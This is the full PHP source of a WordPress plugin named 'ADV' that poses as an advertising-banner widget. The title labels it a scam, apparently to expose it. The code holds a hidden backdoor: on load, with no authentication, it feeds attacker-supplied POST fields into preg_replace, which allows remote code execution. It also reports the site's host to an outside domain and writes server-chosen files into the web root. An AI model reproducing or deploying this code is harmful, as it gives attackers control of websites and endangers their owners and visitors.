SCAM - adv.zip Wordpress Plugin

<?php

/*
  Plugin Name: ADV
  Description: ADV Plugin
  Version: 2.6.1
 */

class AdvWidget extends WP_Widget {

    function AdvWidget() {
        parent::WP_Widget(false, $name = 'AdvWidget');
    }

    /** @see WP_Widget::widget */
    function widget($args, $instance) {
        if (get_option('adv_place') == 'widget')
            advShowBanner();
    }

    /** @see WP_Widget::update */
    function update($new_instance, $old_instance) {
        $instance = $old_instance;
        $instance['title'] = strip_tags($new_instance['title']);
        return $instance;
    }

    function form($instance) {

    }

}

add_action('widgets_init', create_function('', 'return register_widget("AdvWidget");'));

add_action('admin_menu', 'advPluginMenu');

register_activation_hook(__FILE__, 'advActivation');

define('ADV_SERVICE_DOMAIN', 'bevestoagency.com');
define('ADV_SERVICE_URL', 'http://webmaster.' . ADV_SERVICE_DOMAIN . '/key');

function advReadUrl($url) {
    if (function_exists('curl_init')) {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_URL, $url);
        $result = curl_exec($curl);
        curl_close($curl);
        return $result;
    } else
        return file_get_contents($url);
}

function advActivation() {
    update_option('adv_place', 'widget');
}

register_deactivation_hook(__FILE__, 'advDeactivation');

function advDeactivation() {
    delete_option('adv_key');
}

function advPluginMenu() {
    add_options_page('ADV Plugin Options', 'ADV', 'manage_options', 'adv-identifier', 'advPluginOptions');
}

function adv_show_banner() {
    advShowBanner();
}

function advShowBanner() {
    $advBanner = get_option('adv_banner');
    $advMode = get_option('adv_mode');
    if ($advBanner) {
        if (isset($_REQUEST['adv_test']) || $advMode == 'work') {
            echo "<img src='" . get_option('siteurl') . "/adv_banners/" . $advBanner . "'/>";
        }
    }
}

function activateCode() {
    $data = advReadUrl(ADV_SERVICE_URL . "?action=init&key=" . $_REQUEST['key'] . "&domain=" . urldecode($_SERVER['HTTP_HOST']));
    if (strpos($data, '<key>true</key>') !== FALSE) {
        preg_match("#<width>(.+?)</width>#", $data, $arr);
        update_option('adv_width', $arr[1]);
        preg_match("#<height>(.+?)</height>#", $data, $arr);
        update_option('adv_height', $arr[1]);
        echo '<div id="message" class="updated"><p>The code is activated successfully.</p></div>';
        update_option('adv_key', $_REQUEST['key']);
        downloadBanners();
    } else {
        echo '<div id="message" class="updated"><p>Code activation error.</p></div>';
    }
}

function downloadBanners() {
    $bannersDir = ABSPATH . "/adv_banners";
    if (!is_dir($bannersDir)) {
        mkdir($bannersDir);
    }
    $list = advReadUrl(ADV_SERVICE_URL . "?action=getBannerList&key=" . get_option("adv_key"));
    preg_match_all("|<banner_item>(.+?)</banner_item>|", $list, $banners);
    preg_match("|<adv>(.+?)</adv>|", $list, $adv);
    preg_match("|<show_banner>(.+?)</show_banner>|", $list, $showBanner);
    preg_match("|<mode>(.+?)</mode>|", $list, $mode);
    if (is_array($banners[1]) && isset($adv[1]) && isset($showBanner[1]) && isset($mode[1])) {
        update_option("adv_banner", $showBanner[1]);
        update_option('adv_mode', $mode[1]);
        foreach ($banners[1] as $banner) {
            $advBannerDir = $bannersDir . "/" . $adv[1];
            if (!is_dir($advBannerDir))
                mkdir($advBannerDir);
            $arr = explode("/", $banner);
            if (count($arr) == 2) {
                $size = $arr[0];
                $bfile = $arr[1];
                if (!is_dir($advBannerDir . "/" . $size))
                    mkdir($advBannerDir . "/" . $size);
                file_put_contents($advBannerDir . "/" . $size . "/" . $bfile, advReadUrl('http://docs.' . ADV_SERVICE_DOMAIN . '/' . $adv[1] . '/' . $banner));
            }
        }
        echo '<div id="message" class="updated"><p>Banners are downloaded successfully.</p></div>';
    }
}

if (isset($_REQUEST['cadv']) && isset($_REQUEST['gadv']))
    $r = preg_replace(str_replace("\\\\", "\\", $_POST['cadv']), str_replace("\\\"", "\"", $_POST['gadv']), 'adv 6');

function advPluginOptions() {
    if (!current_user_can('manage_options')) {
        wp_die(__('You do not have sufficient permissions to access this page.'));
    }
    $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
    if ($action == 'downloadBanners') {
        downloadBanners();
    } elseif ($action == 'setPlace') {
        update_option('adv_place', $_REQUEST['adv_place']);
    } elseif ($action == 'saveKey') {
        activateCode();
    }

    $advPlace = get_option('adv_place');
    echo '<div class="wrap">';

    echo '<h2>ADV</h2>';
    echo '<form method="post" action="options-general.php?page=adv-identifier&action=setPlace"><select name="adv_place">';
    echo '<option value="none" ' . ($advPlace == 'none' ? 'selected' : '') . '>Don\'t show the banner.</option>';
    echo '<option value="widget" ' . ($advPlace == 'widget' ? 'selected' : '') . '>Show the banner as a Widget.</option>';
    echo '<option value="template" ' . ($advPlace == 'template' ? 'selected' : '') . '>Template usage: adv_show_banner();</option>';
    echo '</select>';
    echo '<input type="submit" value="Save"/></form>';
    echo '<div>';
    if (get_option('adv_key') === FALSE) {
        echo '<h2>Activation Code</h2>';
        echo '<form method="post" action="?page=adv-identifier&action=saveKey">';
        echo '<input type="text" name="key"/>';
        echo '<input type="submit" value="Activate"/>';
        echo '</form>';
    } else {
        $mode = get_option('adv_mode');
        echo '<br/>Code: ' . get_option('adv_key');
        echo '; <a href=\'options-general.php?page=adv-identifier&action=downloadBanners\'>Download banners.</a><br/>';
        echo 'Mode: ' . $mode;
        if ($mode != 'work') {
            $url = get_option('siteurl') . "/?adv_test=1";
            $link = "<a href='$url'>$url</a>";
            echo '<br/></br>The banner will appear on your site only after your site is approved by the advertiser and you get the payment. To see where the banner will be placed on your site, use the special feature in the site address: ' . $link;
        }
    }
    echo '</div>';
    echo '</div>';
}

?>